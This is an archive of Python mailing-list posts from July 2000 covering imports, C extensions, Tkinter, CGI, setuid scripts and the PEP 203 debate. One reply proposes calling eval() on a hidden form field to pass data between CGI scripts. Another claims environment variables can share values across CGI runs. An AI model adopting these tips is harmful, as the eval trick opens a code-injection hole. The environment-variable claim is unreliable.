Message-ID: <B58387C5.5A41%dgoodger@bigfoot.com>

on 2000-07-01 07:06, Doug Fort (dougfort at downright.com) wrote:
> However, the package I downloaded seems to be missing a module:   OmPyUnit.
> What's up with this?  It doesn't fill me with confidence.

OmPyUnit seems like it's meant to be a Python package, but it lacks an
__init__.py file. This causes package imports to fail in my interpreter
(1.5.2 on MacOS). According to Guido's essay "Built-in Package Support in
Python 1.5" at http://www.python.org/doc/essays/packages.html , "package
support *requires* that an __init__ module is present". Looks like an
oversight.

Simply creating an empty __init__.py file (module) in the OmPyUnit
directory, and making sure that the OmPyUnit directory is on Python's import
path, makes explicit imports work. ("from OmPyUnit import *" won't work
unless you define __all__ in __init__.py, though. But we don't use the "from
... import *" form, do we?)

-- 
David Goodger    dgoodger at bigfoot.com    Open-source projects:
 - The Go Tools Project: http://gotools.sourceforge.net
 (more to come!)



From heath7952 at my-deja.com  Thu Jul 20 20:27:57 2000
From: heath7952 at my-deja.com (heath7952 at my-deja.com)
Date: Fri, 21 Jul 2000 00:27:57 GMT
Subject: Extend/Embed Python Method table Dispatcher
Message-ID: <8l85e1$eti$1@nnrp1.deja.com>

Dear All,

I am extending Python with my own C functions. I would like be able to
share one C function amongst different extended commands. Here's a
little pseudo example.


// standard method table with two commands specified "do_stuff" and
"do_stuff2" both of which call the same C function.

static PyMethodDef my_methods[] = {
  {"do_stuff",	   (PyCFunction)Python_Embed::fnDoStuff, METH_VARARGS,
dostuff__doc__   },
  {"do_stuff2",	   (PyCFunction)Python_Embed::fnDoStuff, METH_VARARGS,
dostuff2__doc__   },
  {NULL,	   NULL}
};

PyObject* Python_Embed::fnDoStuff(PyObject* self, PyObject* args)
{

    switch(who called me)
       case do_stuff:
          do something
       break;

       case do_stuff2
          do something different.
       break;



}


I looked at args, but I was unable to find anything in the PyObject
worth extracting for this purpose.

Any help would be greatly appreciated.

Heath.


Sent via Deja.com http://www.deja.com/
Before you buy.


From donn at oz.net  Sat Jul  1 02:14:42 2000
From: donn at oz.net (Donn Cave)
Date: 1 Jul 2000 06:14:42 GMT
Subject: Problem with sys.exit()
References: <395CC5BA.AE64BB75@sas.upenn.edu>
Message-ID: <8jk28i$jq9$1@216.39.151.169>

Quoth "Steven M. Castellotti" <scastell at sas.upenn.edu>:
| 	I'm having some difficulty with a particular python script. I'm taking
| gzipped log files and calling zcat (from the command line) with one
| script (feeder.py), which pipes the output to the second script
| (parser.py). The second script addes up few things, and I want it to
| report the final total back to the feeder script. I tried passing it via
| sys.exit() (ugly I know, but it seemed like a good idea at the time) but
| when I use the numbers in the feeder script, the numbers are way off:
|
| End of parser.py:
|
| print total_registrations
| sys.exit(total_registrations)
|
| Relevant portion of feeder.py:
|
| ...
|
| grand_total = grand_total + \
|   os.system('zcat %s | python authlog_parser.py' % (filename) )
| print "%i" % os.system('zcat %s | python authlog_parser.py' % (filename)
| )
| print "Grand Total: %s" % grand_total
|
|
| But my output looks something like this:
|
| 3
| 768
| Grand Total: 1024
|
| 	...where the "3" is the actual total getting passed into sys.exit(),
| 768 is what parser.py is recieving, and 1024 being the total.
|
| 	Any ideas about what might be wrong, or perhaps a better way to do
| this? If there was a way to read a gzip'd text file directly into python
| that'd probably take care of it, but why isn't this working?

Try shifting the result of os.system() right 8 bits.  Also note that
you have only 7 or 8 bits to work with here, so it will work for 3
or 30 but not 300.  It wouldn't hurt all that much to use popen().

	Donn Cave, donn at oz.net


From wtoconnor at earthlink.net  Thu Jul 13 15:49:04 2000
From: wtoconnor at earthlink.net (William OConnor)
Date: Thu, 13 Jul 2000 19:49:04 GMT
Subject: Python Palm Port
Message-ID: <396DBB86.98F20F75@earthlink.net>

I was interested in possibly doing a Python port to the Palm OS.  

Is anyone already doing it? 

If so maybe I can help. 

If not, a pointer to some porting information would be appreciated.

nospam.wtoconnor at earthlink.net


From MarkH at ActiveState.com  Thu Jul 27 19:41:43 2000
From: MarkH at ActiveState.com (Mark Hammond)
Date: Thu, 27 Jul 2000 23:41:43 GMT
Subject: com makepy problems
References: <HRRf5.83451$dF.2988037@news1.rdc1.il.home.com>
Message-ID: <XM3g5.13980$4p3.108502@news-server.bigpond.net.au>

>     key2 = win32api.RegOpenKey(win32con.HKEY_CLASSES_ROOT, "Typelib\\%s"
%
> (iid))
> api_error: (5, 'RegOpenKeyEx', 'Access is denied.')

Sheesh.  This is very strange.  I have no idea why reading the registry
would throw an "Acces Denied" error.  Can you see this key and subkeys
using the registry editor.

Im afraid I have never had this reported, and this makepy code is getting
a number of years old.  So NFI, I'm afraid.

Mark.





From tim.hochberg at ieee.org  Wed Jul  5 19:11:22 2000
From: tim.hochberg at ieee.org (Tim Hochberg)
Date: Wed, 05 Jul 2000 23:11:22 GMT
Subject: Two Tkinter questions (long)
References: <sn66qkgrfv.fsf@motorola.com>
Message-ID: <ugP85.13739$ll.84948@news1.rdc1.az.home.com>

"Aaron Ginn" <aaron.ginn at motorola.com> wrote in message
news:sn66qkgrfv.fsf at motorola.com...
>
> I have two questions about Tkinter.  First, how do you supress a
> command that is executed by a button when a widget is created?  I'm
> trying to create a file browser with three buttons, an OK button which
> applies the selection, a filter button which filters the current
> directory for a matching pattern and a cancel button which does the
> obvious.  The problem is that when I create the file browser in a
> toplevel widget, the command that my buttons are supposed to execute
> are executed immediately.  For instance, here's a portion of code:

[SNIP]

> self.Filter = Button(self.button_frame, text = 'Filter', \
>       command = self.do_filter())

Changing this to:

self.Filter = Button(self.button_frame, text = 'Filter', # Backslash is not
nesc. here.
       command = self.do_filter) # Note no ()

should go a long way toward fixing your problem. What you were doing was
setting command to the result of a call of the function do_filter which
returnd None. Thus the function is executed once when this line is first
executed, but then never again since it is not bound to command, None is.

[SNIP]


-tim




From see at below  Sun Jul 30 22:03:34 2000
From: see at below (Paul Foley)
Date: 31 Jul 2000 14:03:34 +1200
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <OLgg5.2637$6E.681698@ptah.visi.com> <slrn8o397m.3ok.grey@teleute.rpglink.com> <8lse9j01oti@news2.newsguy.com> <slrn8o3jap.49c.grey@teleute.rpglink.com> <slrn8o42r6.dti.wtanksle@dolphin.openprojects.net> <slrn8o449h.49c.grey@teleute.rpglink.com> <slrn8o4l9e.md1.wtanksle@dolphin.openprojects.net> <3982F04D.74FCF41C@webamused.com> <slrn8o6kna.f91.grey@teleute.rpglink.com> <39834B9F.C6877761@webamused.com> <slrn8o745t.fjt.grey@teleute.rpglink.com> <m2wvi4ruwm.fsf@mycroft.actrix.gen.nz> <slrn8o7rbi.g3b.grey@teleute.rpglink.com> <QNYg5.2854$6E.754883@ptah.visi.com>
Message-ID: <m2n1izrr7t.fsf@mycroft.actrix.gen.nz>

On Sun, 30 Jul 2000 16:33:52 GMT, Grant Edwards wrote:

> On Sun, 30 Jul 2000 08:57:27 GMT, Steve Lamb <grey at despair.rpglink.com> wrote:
>> On 30 Jul 2000 18:31:37 +1200, Paul Foley <see at below> wrote:
>>> Isn't it?  Are you sure about that?
>> 
>> Considering some of the conversations I've sat in on with
>> my friends, no, it isn't in some contexts.  I can provide more
>> examples if you /really/ want to be that intentionally obtuse.

> Steve is correct.  In my experience it is not only inoffensive
> in some contexts, it has a positive connotation and means
> someting along the lines of what "mate" means in Australia.

Well, I say you're both wrong.  Sure, the intent is not to offend, but
the meaning isn't changed.  It's like calling someone a "son of a
bitch" and similar intentionally offensive terms in a "friendly"
context; something that's quite common as some sort of group-bonding
behaviour, or something (ask a sociologist).

-- 
Cogito ergo I'm right and you're wrong.               -- Blair Houghton

(setq reply-to
  (concatenate 'string "Paul Foley " "<mycroft" '(#\@) "actrix.gen.nz>"))


From alex at magenta.com  Sat Jul 29 19:21:09 2000
From: alex at magenta.com (Alex Martelli)
Date: Sun, 30 Jul 2000 01:21:09 +0200
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <3981D737.CBA366F@alcyone.com> <slrn8o40ni.49c.grey@teleute.rpglink.com> <ogk4oso77hu55jepdvssdj7od4s1j481rh@4ax.com> <slrn8o6o57.f91.grey@teleute.rpglink.com>
Message-ID: <8lvovs1dj1@news2.newsguy.com>

"Steve Lamb" <grey at despair.rpglink.com> wrote in message
news:slrn8o6o57.f91.grey at teleute.rpglink.com...
> On Sat, 29 Jul 2000 03:35:05 GMT, Ben Wolfson <rumjuggler at cryptarchy.org>
> wrote:
> >If you write the numeral one on a board and ask 2 dozen people off the
> >street what it is, how many of them will say it's a sequence?
>
>     How many would say that abc is a sequence.  ;P

Most would, of course -- just ask what comes next, and anybody
with positive IQ will guess 'd'.


Alex





From robin at jessikat.fsnet.co.uk  Tue Jul 18 13:00:59 2000
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Tue, 18 Jul 2000 18:00:59 +0100
Subject: generator.py
Message-ID: <OFEYybAL1Id5EwVv@jessikat.fsnet.co.uk>

has anyone go the generator.py from starship; the link there seems
broken.
-- 
Robin Becker


From alex at magenta.com  Sat Jul 29 19:19:34 2000
From: alex at magenta.com (Alex Martelli)
Date: Sun, 30 Jul 2000 01:19:34 +0200
Subject: The 'widget' demo with python/Tkinter
References: <3983992A.75270197@galactica.it>
Message-ID: <8lvovr0dj1@news2.newsguy.com>

"Francesco Bochicchio" <fbochicchio at galactica.it> wrote in message
news:3983992A.75270197 at galactica.it...
    [snip]
> I must admit that currently I' in love with Python. I show all signs : I
> can't
> separate from it and I talk about it to any collegue willing to listen (
> and to several willing NOT ).

Welcome to the clan!  Can't help you much with Python/Tk, but be
sure to also join the Italian Python mailing list, by writing to
python-subscribe at topica.com -- we Italian Pythonistas gotta
support each other, as there aren't all that many of us:-).


Alex





From defurnj at glo.be  Fri Jul 21 14:11:14 2000
From: defurnj at glo.be (Jurgen Defurne)
Date: Fri, 21 Jul 2000 20:11:14 +0200
Subject: Creating a setuid script
Message-ID: <39789242.C93B0446@glo.be>

Hello,

I am busy writing some scripts, which should be setuid root (several
users should be
able to modify the contents of a file, which is under root control).

The main problem is that setuid root doesn't seem to work with a Python
script. If i have
two programs :

rwsr-xr-x .... tu.pl (obviously Perl)
rwsr-xr-x .... tu.py (the same in Python)

then the perl script reports UID and EUID as 0 and 1000 (or reverse,
they are DIFFERENT),
but the Python script reports 1000 and 1000 (a further test to open a
root owned file in
read mode raises an exception).

I haven't been able to locate information about this in the standard
Python documentation,
nor in the FAQ.

Any ideas, anyone ? (I am using Python 1.5.1 on Debian 2.1)

Jurgen Defurne
defurnj at glo.be




From mikael.lyngvig at toolwood.dk  Sun Jul 23 21:11:22 2000
From: mikael.lyngvig at toolwood.dk (Mikael Lyngvig)
Date: Mon, 24 Jul 2000 03:11:22 +0200
Subject: Win32 : Making script.py executable in DOS box - PythonLauncher.exe (0/1)
References: <8jmjfe$64o$1@nnrp1.deja.com>
Message-ID: <57C73519D7B17AC0.676A0E147314A4ED.54FD41AB6D1885E6@lp.airnews.net>

On Sun, 02 Jul 2000 05:20:56 GMT, Neo Brave <neo_brave at my-deja.com>
wrote:

>I'm currently running Python scripts at the command line
>using C:\python\python script.py. Is there a way of making
>the MS-DOS box recognise the Python script as an executable
>file so I can just use the name "script.py"?

Please find attached a small executable program, PythonLauncher.exe,
which can be used to start Python programs under Win9x (and Windows
NT/2000).  This is an alternative to the batch files shown by others.

PythonLauncher.exe is a small program, which attempts to locate a
Python script named similarly to itself, then locate a Python
interpreter, and finally invoke the Python interpreter with the Python
script, and any parameters to the .exe itself, as parameters.

For instance, if you copy PythonLauncher.exe to foo.exe and run it
using "foo bar", it will attempt to locate foo.py, foo.pyc, or
foo.pyo.  If that succeeds, it will attempt to locate python.exe,
cgipython.exe, or pythonw.exe.  If that succeeds, it will invoke the
found Python interpreter with the parameters "fullpath\foo.py bar"
(where fullpath is replaced by the full path of the foo.py script).

The Python script and interpreter are searched in the following
locations:

1. The home directory of the PythonLauncher executable (the home
directory of foo.exe).

2. The directory defined by PYTHONHOME, if such an environment
variable exists.

3. The directories defined in the PATH environment variable.

Unlike batch files, PythonLauncher should work fine with redirection,
etc. (although I haven't tested this).

I've tried to reduce the size of the executable to as little as
possible, but I still end up with a 13 KB file.  That's a bit hefty,
but rarely a big problem in most systems.

If there's any interest in this utility I'll be happy to put up a web
page with it and write some proper documentation.  In that case,
please email me directly at mailto:mikael.lyngvig at toolwood.dk, since I
rarely have the time to follow this newsgroup.


-- Mikael



From see at my.signature  Thu Jul 20 21:33:56 2000
From: see at my.signature (Greg Ewing)
Date: Fri, 21 Jul 2000 13:33:56 +1200
Subject: [Python-Dev] Coercion (RE: Discussion: Introducing new operators  
 for  matrix computation)
References: <LNBBLJKPBEHFEDALKOLCIENFGKAA.tim_one@email.msn.com> <39771F80.90DD0C99@lemburg.com>
Message-ID: <3977A884.645BB084@my.signature>

"M.-A. Lemburg" wrote:
> 
> decentralize coercion and
> make the coercion process part of the operators task.
> 
> Thoughts ?

I agree completely. There's no need at all to centralise
coercion, and most of the time it just gets in the way.

While you're at it, get rid of the special-case code
for number*sequence, which has the same problem. I once
implemented a matrix-like extension type, and I had
great difficulty getting it to behave like a sequence
for indexing purposes while having number*matrix do
what I wanted.

-- 
Greg Ewing, Computer Science Dept, University of Canterbury,	  
Christchurch, New Zealand
To get my email address, please visit my web page:	  
http://www.cosc.canterbury.ac.nz/~greg


From tim_one at email.msn.com  Sun Jul 23 12:07:35 2000
From: tim_one at email.msn.com (Tim Peters)
Date: Sun, 23 Jul 2000 12:07:35 -0400
Subject: iterating over lines in a file
In-Reply-To: <slrn8nm0rh.pod.cjc26@synecdoche.sowrong.org>
Message-ID: <LNBBLJKPBEHFEDALKOLCGEHFGLAA.tim_one@email.msn.com>

[Cliff Crawford, reacting to that the optional "size" argument to
 readlines() is treated as a hint, & that the implementation rounds
 it in platform-specific ways to a "natural" buffer size]

> Ugh, you're right (I checked fileobject.c to make sure).  That makes
> readlines() a lot less useful than I thought it was..:(

How so?  It *can't* take the size argument exactly as given, lest it return
a partial line at the end of the returned list more often than not.  Most
people would consider it "a lot less useful" then <wink>.





From alex at magenta.com  Fri Jul 14 10:05:01 2000
From: alex at magenta.com (Alex Martelli)
Date: Fri, 14 Jul 2000 16:05:01 +0200
Subject: Downside to using Python in ASP/MS IIS server side?
References: <3973b7ce.945183441@news.online.no> <8kmult$jsn$1@tesla.a2000.nl>
Message-ID: <8kn6sh02ne1@news2.newsguy.com>

"Ilja Heitlager" <news at heitlager.com> wrote in message
news:8kmult$jsn$1 at tesla.a2000.nl...
    [snip]
> I use a regular syntax -highlighting editor en you can probably still use
> Interdev, which to me is perfect for Webapps. You won't be able to use
> Intellisense, though.

You do get some 'intellisense' if you edit your Python scripts with
PythonWin, though.  Not as good as the one in VB, but, say, on a
par from what VC++ gives you (right about half the time).


Alex





From paul.magwene at yale.edu  Thu Jul 20 11:49:01 2000
From: paul.magwene at yale.edu (Paul Magwene)
Date: Thu, 20 Jul 2000 11:49:01 -0400
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <m3og3tkvw3.fsf@chinon.cnrs-orleans.fr>
Message-ID: <39771F6D.A9A0A26B@yale.edu>

Konrad Hinsen wrote:

> If I remember correctly, the APL symbol set is somewhere in Unicode.
> I agree that this proposal is not a realistic one for the immediate
> future, but I still like it ;-)
> 
> >    (1) Use . or @
> 
> For purely esthetic reasons, I wouldn't want to have @ in operators.
> The dot is fine but there are conflicts with floating point constants.
> 
> But there are other alternatives. How about operators in parentheses?
> a (*) b looks fine to me, and it is currently illegal so it can't cause
> compatibility problems. I'd even claim that it somewhat *looks* like
> a matrix operation.
> 

Of all the proposals so far, I find Konrad's suggestion to be the most
appealing.
I could definitely get used to the following:

A(*)B
A(/)B
A(+.*)B
...etc

Please keep * for elementwise multiplication like in NumPy.  There is
already a large installed user/codebase which uses it as such.

I personally find A at B very hard to parse visually. @ justs seems to just
smack of that other P language. ;-)

For an example where the symbol @ is used extensively, check out the
document markup language Lout.  I enjoy using Lout, but marked-up files
quickly become very unreadable.



Paul Magwene
paul.magwene at yale.edu


From richard_chamberlain at ntlworld.com  Wed Jul  5 16:44:31 2000
From: richard_chamberlain at ntlworld.com (richard_chamberlain)
Date: Wed, 5 Jul 2000 21:44:31 +0100
Subject: Grid Geometry Manager and grouping?
References: <8k013q$lon$1@nnrp1.deja.com>
Message-ID: <H5N85.886$dL5.17528@news6-win.server.ntlworld.com>

Hi Keith,

For what purpose do you want to group the areas?

An example of frames:

from Tkinter import *
root=Tk()
frame1=Frame(root,relief=GROOVE,borderwidth=3)
frame2=Frame(root,relief=GROOVE,borderwidth=3)
for i in range(1,9):
    Label(frame1,text="Frame: 1 - Label: %d" %i).pack()
    Label(frame2,text="Frame: 2 - Label: %d" %i).pack()
frame1.pack(side=LEFT,fill=BOTH,expand=1)
frame2.pack(side=LEFT,fill=BOTH,expand=1)

root.mainloop()

Pmw has got Pmw.Group, a framed widget on which you can have a label or
other widget in the frame and then a number of widgets within the frame.

Give me an example of what you want to achieve and I'll have a go.

Richard

Keith Murphy <kpmurphy at my-deja.com> wrote in message
news:8k013q$lon$1 at nnrp1.deja.com...
> i've found that i like grid the best.  is there a way to group sections
> of the window together... like the left side is for one purpose and the
> right for another?  I have been playing with frames to no avail.
>
> i really appreciate all the help this ng has given me thus far in
> learning python.  kudos to all of you!
>
> -->keith
>
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.




From tim_one at email.msn.com  Sun Jul  9 13:35:26 2000
From: tim_one at email.msn.com (Tim Peters)
Date: Sun, 9 Jul 2000 13:35:26 -0400
Subject: CNRI vs. BeOpen (was Re: Splitting c.l.py...)
In-Reply-To: <8ka3fd$87m$1@slb6.atl.mindspring.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCMEPBGIAA.tim_one@email.msn.com>

[Aahz Maruch]
> I think what would be interesting is to know what effect this is having
> on Python (e.g. is it delaying 1.6?).

Yes.  1.6 schedule and workload details are still in negotiation.

> It would also be nice to know if there is an ETA for getting all
> this resolved.

As CNRI's Dr. Kahn said in the "Python release delay" message Guido
forwarded on Friday, "As soon as these [issues] are resolved, which we hope
will be very shortly".  This is all we know now.

> It would be useful to know what parts of the Python community are
> affected;  I notice, for example, that starship.python.net still says
> to send checks for PSA to CNRI -- is that correct?

The PSA is hosted by CNRI, so definitive answers about the PSA will have to
come from them.  I'm not trying to be coy here, I simply don't know!
Yesterday Jeremy suggested that email to webmaster at python.org may be your
best shot at contacting CNRI, and I don't know of a better way
(webmaster at python.org goes to CNRI personnel, not to anyone at BeOpen
PythonLabs).

> (My interest in the last question comes mainly because I'm getting ready
> to upload my thread tutorial to a web site, and I'd prefer to use a
> Python site rather than my own.)

Don't worry about that!  Everyone would love to have your thread tutorial,
and we'll find a Pythonic home for it no matter what.  It's just that before
the divorce decree is final, nobody can know where all the kids will live.

patience-is-a-virtue-even-on-the-internet-ly y'rs  - tim





From sabren at manifestation.com  Sun Jul 23 01:35:03 2000
From: sabren at manifestation.com (Michal Wallace)
Date: Sun, 23 Jul 2000 01:35:03 -0400 (EDT)
Subject: cgi, templates, and the % operator
In-Reply-To: <397A82AB.8D32658F@horvath.com>
Message-ID: <Pine.BSF.4.10.10007230133240.16996-100000@chi.pair.com>

On Sun, 23 Jul 2000, Bob Horvath wrote:

> Anyway to escape the %, or to turn it into something else that
> won't screw up the % operator.

Yup. %% will escape the %.

>>> print "%%%s" % "cat"
%cat


Cheers,

- Michal
------------------------------------------------------------------------
www.manifestation.com  www.sabren.com  www.linkwatcher.com  www.zike.net
------------------------------------------------------------------------




From ulrich.schreiner at innuendo.de  Sat Jul 29 05:21:07 2000
From: ulrich.schreiner at innuendo.de (Ulrich Schreiner)
Date: Sat, 29 Jul 2000 11:21:07 +0200
Subject: How does Python compare to ?
References: <39820F52.4B6787FE@paradise.net.nz>
Message-ID: <3982A203.99828AFD@innuendo.de>

http://www.zope.org/Members/BwanaZulia/zope_benchmarks/benchmarks.html

fyi: zope is an applicationserver implemented in python (most of it :-)

> What about Python versus Java Servlets for CGI applications ?
> 
> --
> Home Page: http://homepages.paradise.net.nz/frankkru
> 
> Frank Kruchio
> Wellington, New Zealand


From seandc at worldnet.att.net  Wed Jul 19 07:49:10 2000
From: seandc at worldnet.att.net (Sean Doull-Connolly)
Date: Wed, 19 Jul 2000 11:49:10 GMT
Subject: Book: Internet Programming in Python
Message-ID: <397595A8.A32C8DE7@worldnet.att.net>

This book by Guido and others was published in 1996 and is now
out of print. 

Does anyone have a copy in good condition which I might buy?

Thanks.

Sean


From grey at despair.rpglink.com  Fri Jul 28 12:29:28 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Fri, 28 Jul 2000 16:29:28 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <OLgg5.2637$6E.681698@ptah.visi.com> <slrn8o397m.3ok.grey@teleute.rpglink.com> <7Khg5.2679$6E.683965@ptah.visi.com>
Message-ID: <slrn8o3d35.49c.grey@teleute.rpglink.com>

On Fri, 28 Jul 2000 15:34:27 GMT, Grant Edwards <ge at nowhere.none> wrote:
>I'm not ignoring that case.  I'm stating that I want to do the conversions
>explicitly rather than implicitly.  Why do you find it so difficult to
>believe that "I want X" when I tell you "I want X"?  I'm _not_ trying to tell
>you that "you want X" or "you should use X".  I am trying to tell you that "I
>use X" because "I want X".

    Fair enough.  So why can't we have both?  Why can't we have variables
which are mutable and those that aren't?  Just because something can be
changed doesn't mean it can't be forced into a certain context.  

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From dogboy777 at my-deja.com  Thu Jul 27 14:38:32 2000
From: dogboy777 at my-deja.com (dogboy777 at my-deja.com)
Date: Thu, 27 Jul 2000 18:38:32 GMT
Subject: Problem deleting text in TK widget
Message-ID: <8lpvj7$v1h$1@nnrp1.deja.com>

I'm trying to delete text in a TK Text field, and I'm getting an error I
don't understand.  The code is:

		self.logarea = Text(master, height=35, width=30)
		self.logarea.insert(END, 'This is a test')
		self.logarea.delete(1,3)

The resulting error is:

Traceback (most recent call last):
  File "junkyard.py", line 109, in ?
    junk = Junkyard(root)
  File "junkyard.py", line 20, in __init__
    self.createMainScreen()
  File "junkyard.py", line 34, in createMainScreen
    self.logarea.delete(1,3)
  File "C:\PYTHON16\lib\lib-tk\Tkinter.py", line 1643, in delete
    self.tk.call(self._w, 'delete', index1, index2)
TclError

Any idea why Tcl is unhappy?

NOTE:  I'm using Python 1.6

Thanks,
Anders Schneiderman
National Journal Group


Sent via Deja.com http://www.deja.com/
Before you buy.


From jeddak at mailbox.bellatlantic.net  Sun Jul 23 12:26:17 2000
From: jeddak at mailbox.bellatlantic.net (J Donald)
Date: Sun, 23 Jul 2000 16:26:17 GMT
Subject: Passing variables between scripts
References: <8j745m$qqj$1@oslo-nntp.eunet.no> <3958D7B7.BC3F664@roguewave.com>
Message-ID: <397B1FD5.EA0778B9@mailbox.bellatlantic.net>

If you're running on Unix or Linux, you can use environmental variables.

1. In cgi1.py, define an environmental variable that's unique to your
application,
2. make it available to all other sessions
3. put the value in that environmental variable
4. n cgi2.py, look for that environmental variable, and read in the value

Caveats:

1. This approach should only be used when your cgi is running in single-threaded
(i.e. one request/one cgi instance at a time).
2. Don't use environmental variables this way if you care about security.

Bjorn Pettersen wrote:

> Olav Viken wrote:
> >
> > Can anyone tell me if there is a good way to pass a variable between two CGI
> > scripts?
>
> There are many variations of this, but you can do a lot with the
> following model:
>
>   form1 -> cgi1 -> form2 -> cgi2
>
> meaning that your starting html page contains form1. When submitting the
> form, you call cgi1 which during it's processing prints form2. When
> form2 is submitted it calls cgi2.
>
> If you only have simple values (and don't require a very secure system),
> cg1 can print out a <input type="hidden" name="foo" value="%s"> tag
> where you substitute the %s for the repr of a dictionary containing all
> the values you want to pass.  You can then use eval on the value in cgi2
> to resurrect the dictionary (as I said, not particularly safe, but easy
> ;-)
>
> hth,
> -- bjorn
-------------- next part --------------
A non-text attachment was scrubbed...
Name: jeddak.vcf
Type: text/x-vcard
Size: 172 bytes
Desc: Card for J Donald
URL: <http://mail.python.org/pipermail/python-list/attachments/20000723/3300ef10/attachment.vcf>

From kpmurphy at my-deja.com  Tue Jul 11 10:36:25 2000
From: kpmurphy at my-deja.com (Keith Murphy)
Date: Tue, 11 Jul 2000 14:36:25 GMT
Subject: clipboard
References: <8kddiq$8oc$1@nnrp1.deja.com> <8kdeae$9fv$1@nnrp1.deja.com> <Y8sa5.10253$_O.174557@news2-win.server.ntlworld.com>
Message-ID: <8kfbd7$kpc$1@nnrp1.deja.com>

hi richard,

	i tried that, and i got the following error message...

Exception in Tkinter callback
Traceback (innermost last):
  File "/usr/local/lib/python1.5/lib-tk/Tkinter.py", line 764, in
__call__
    return apply(self.func, args)
  File "tkPad.py", line 146, in paste
    contents = root.selection_get()
  File "/usr/local/lib/python1.5/lib-tk/Tkinter.py", line 280, in
selection_get
    return self.tk.call(('selection', 'get') + self._options(kw))
TclError: PRIMARY selection doesn't exist or form "STRING" not defined


??  thanks,

-->keith

In article <Y8sa5.10253$_O.174557 at news2-win.server.ntlworld.com>,
  "richard_chamberlain" <richard_chamberlain at ntlworld.com> wrote:
> Hi Keith,
>
> content=root.selection_get()
>
> Richard
>
> Keith Murphy <kpmurphy at my-deja.com> wrote in message
> news:8kdeae$9fv$1 at nnrp1.deja.com...
> > In article <8kddiq$8oc$1 at nnrp1.deja.com>,
> >   Keith Murphy <kpmurphy at my-deja.com> wrote:
> > > how do you read from / write to the system clipboard from Tkinter?
> > i'm
> > > on a unix machine, if that matters.  Thanks,
> > >
> > > -->keith
> > >
> > > Sent via Deja.com http://www.deja.com/
> > > Before you buy.
> > >
> >
> > i've found out that...
> >
> > >>> root.clipboard_clear()
> > >>> root.clipboard_append('python rules!')
> >
> >
> > ... places text on the system clipboard, but how do you paste?
> > thanks...
> >
> > -->keith
> >
> >
> > Sent via Deja.com http://www.deja.com/
> > Before you buy.
>
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From jcm at bigskytel.com  Sun Jul  9 01:29:40 2000
From: jcm at bigskytel.com (David Porter)
Date: Sat, 8 Jul 2000 23:29:40 -0600
Subject: Making tabs illegal
In-Reply-To: <Pine.BOS.4.10.10007091300200.1313-100000@be>; from baron@null.net on Sun, Jul 09, 2000 at 01:01:24PM +0930
References: <394ac7ea.609024015@nntp.interaccess.com> <3950C0E2.7532D38@sightreader.com> <8k5l8d$9lr$1@nnrp1.deja.com> <Pine.BOS.4.10.10007081420100.1550-100000@be> <vnd1z14w5re.fsf@camelot-new.ccs.neu.edu> <Pine.BOS.4.10.10007091300200.1313-100000@be>
Message-ID: <20000708232940.A25033@novara.avenue>

* Matthew Schinckel <baron at null.net>:
> On Jul 8, I overheard Justin Sheehy mutter:
> 
> > Matthew Schinckel <baron at null.net> writes:
> > 
> > > I hate having to hit space four times, I'd much rather just use tab.
> > 
> > You should get a decent editor.
> 
> You have missed my point entirely - I am arguing against the banning of
> tabs - my editor does tabs, syntax highlighting and autoindenting.

I believe that he is saying that a decent editor can be configured to use
four spaces when you hit tab, so that is no reason to not ban tabs. Emacs
with Python Mode converts the pressing of a tab to four spaces and it
auto-indents with four spaces. 




From none at none  Thu Jul 20 23:53:38 2000
From: none at none (Eric Jacobs)
Date: Thu, 20 Jul 2000 22:53:38 -0500
Subject: PEP 203 - Augmented Assignments
Message-ID: <snfea3ej6tt177@corp.supernews.com>

Now that the PEPs are up on the web, we can tear them down in
c.l.py... :)


[regarding the current usage of __add__ and __radd__ vs allowing
objects to override a += operator]

> However, the problem with this approach is that the '__add__'
> method cannot know in what context it is called. It cannot tell
> whether it should create a new object, or whether it is allowed to
> modify itself. (As would be the case in 'x = x + 1') As a result,
> the '__add__' method, and all other such 'magic' methods, should
> always return a new object. For large objects, this can be very
> inefficient.

But it would only be allowed to modify itself in either case if
the statement would have deallocated the old object! That can't
be known from looking at the expression!

Suppose x is a list. The proposal would have

    y = x
    x = x + [7, 8, 9]

and

    y = x
    x += [7, 8, 9]

doing different things!


That may be okay, of course, but the difficulty is that in C,
x += really _is_ a short hand for x = x +, and people would be
liable to use it that way in Python. They'd be changing the
meaning of their programs without realizing it... lots of bugs
and unnecessary confusion there.

Now, I do understand the rationale for the proposal... I don't
want to be saying:

    PEP[203].ThumbsDown = PEP[203].ThumbsDown + 1

;)

I'm afraid that PEP 203 is trying to do too much and will end
up confusing new users. Here's my attempt to break down what
it seems to be trying to do:

1) Abbreviate the idiom "x = x +" in source code. Less typing,
   less errors.

2) Allow the optimization of that idiom when x is a complex
   expression. Above, PEP[203] should only need to be evaluated
   once.

3) Provide a way to see the similarity symbolically between
   mutating-causing operations and an analogous operation that
   creates a new object.

   For example, list.extend() really is doing the same operation
   as list addition, but the similarity is not indicated by the
   names, "+" and "extend".

4) Avoid creating a new object and perform mutation instead when
   the old object would have been deallocated anyway, for
   performance reasons.


(1) and (3) are user-visible changes. (2) and (4) are optimizations
that should be invisible to the end user.

If operators like += were to enter Python, I would highly recommend
that they mean the same as in C, because that's where most users
are familiar with them. That is, "x += 1" can be used as a substitute
for "x = x + 1". Lazy fingers will want to substitute that!

If we allow optimization (2), then that wouldn't be quite correct
